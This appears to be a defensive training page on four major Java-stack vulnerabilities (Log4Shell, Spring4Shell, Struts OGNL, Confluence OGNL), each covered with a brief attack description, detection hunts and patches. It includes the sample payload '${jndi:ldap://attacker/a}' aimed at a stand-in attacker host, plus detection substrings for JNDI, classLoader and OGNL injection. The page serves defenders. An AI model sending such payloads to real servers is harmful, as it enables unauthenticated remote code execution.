NexurAI
The JVM stack flaws behind the biggest breaches: Log4Shell, Spring4Shell, Struts, Confluence.
A JNDI lookup in Log4j lets an attacker who controls any logged string trigger remote class loading - unauthenticated RCE in one log line.
Apache Log4j 2 (2.0-beta9 to 2.14.1) · 2021
The attacker sends a string like ${jndi:ldap://attacker/a} in any field that gets logged (User-Agent, headers, chat, form fields). Log4j resolves the JNDI lookup, fetches a remote class, and executes it.
Hunt for 'jndi:', 'ldap:', 'rmi:', 'dns:' substrings in request logs and headers; alert on servers making unexpected outbound LDAP/RMI/DNS to the internet; watch for java spawning shells.
Upgrade to Log4j 2.17.1+, remove the JndiLookup class, block egress from app servers, and set log4j2.formatMsgNoLookups=true on older versions.
A data-binding flaw lets an attacker manipulate the ClassLoader via crafted request parameters, planting a webshell for RCE.
Spring Framework (data binding on JDK 9+) · 2022
The attacker sends specially crafted class.module.classLoader.* parameters to a vulnerable Spring endpoint, writing a JSP webshell to the webroot and executing commands.
Alert on requests containing 'class.module.classLoader' or 'Tomcat' pipeline params; hunt for new .jsp files and java spawning shells.
Upgrade Spring Framework (5.3.18+/5.2.20+), patch Tomcat, and add a WAF rule blocking classLoader binding.
A crafted Content-Type header triggers OGNL expression evaluation - unauthenticated RCE, and the root cause of the Equifax breach.
Apache Struts 2 (Jakarta Multipart parser) · 2017
The attacker sends a malicious Content-Type header containing an OGNL expression; the Struts parser evaluates it and runs the embedded command.
Alert on Content-Type headers containing '%{' / 'ognl' / '(#cmd=', and Java app servers spawning shells; WAF signatures exist.
Upgrade Struts, add a WAF rule for OGNL in headers, and inventory apps using the vulnerable parser.
An OGNL injection in Confluence gives unauthenticated remote code execution - widely exploited to drop webshells and miners.
Atlassian Confluence Server/Data Center · 2022
The attacker sends a crafted OGNL expression in the request URI; Confluence evaluates it and runs arbitrary commands, often planting a webshell.
Alert on '${' / OGNL patterns in Confluence URIs, java (confluence) spawning shells, and new files in Confluence webroots.
Patch Confluence, hunt for shells/IOCs, and restrict external access to the app.
Turn this knowledge into detections you can prove - write real rules scored on precision and recall.